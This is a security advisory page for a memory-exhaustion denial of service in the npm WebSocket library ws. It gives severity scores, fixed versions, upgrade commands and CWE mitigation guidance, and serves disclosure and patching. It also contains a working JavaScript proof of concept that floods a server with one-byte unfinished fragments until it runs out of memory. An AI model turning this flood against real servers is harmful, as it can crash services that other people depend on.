Skip to content

GHSA-96hv-2xvq-fx4p CVE-2026-48779

ws: Memory exhaustion DoS from tiny fragments and data chunks

High npm
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.43%
Chance of exploitation in the next 30 days. Higher than 72.94% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-770 Allocation of Resources Without Limits or Throttling
CWE-1050 Excessive Platform Resource Consumption within a Loop
Fix
5.2.5
Upgrade ws to this version or later

Description

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Affected versions

npm

PackageVulnerableFixed in
ws
>= 1.1.0, < 5.2.5
5.2.5
ws
>= 6.0.0, < 6.2.4
6.2.4
ws
>= 7.0.0, < 7.5.11
7.5.11
ws
>= 8.0.0, < 8.21.0
8.21.0
ws
>= 1.1.0, < 5.2.5
5.2.5
ws
>= 6.0.0, < 6.2.4
6.2.4
ws
>= 7.0.0, < 7.5.11
7.5.11
ws
>= 8.0.0, < 8.21.0
8.21.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ws npm → 5.2.5

npm
npm install ws@5.2.5
yarn
yarn add ws@5.2.5
pnpm
pnpm add ws@5.2.5

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

CWE-1050: Excessive Platform Resource Consumption within a Loop

The product has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

References

Advisories

Fixes and patches

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-58qx-3vcg-4xpx
ws: Uninitialized memory disclosure
High Also affects ws
GHSA-3h5v-q93c-6h6q
ws affected by a DoS when handling a request with many HTTP headers
High Also affects ws
GHSA-6fc8-4gx4-v693
ReDoS in Sec-Websocket-Protocol header
Medium Also affects ws
GHSA-5v72-xg48-5rpm
Denial of Service in ws
High Also affects ws
GHSA-6663-c963-2gqg
DoS due to excessively large websocket message in ws
High Also affects ws
GHSA-2mhh-w6q8-5hxw
Remote Memory Disclosure in ws
Low Also affects ws
GHSA-cggf-277g-3q54
pypdf has possible large memory usage when parsing page tree
High Same weakness, CWE-400
GHSA-3g3m-2fjr-6pw4
Glob: AbortSignal cancellation bypass allows post-timeout filesystem traversal
Medium Same weakness, CWE-400

Credits: Nadav0077

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor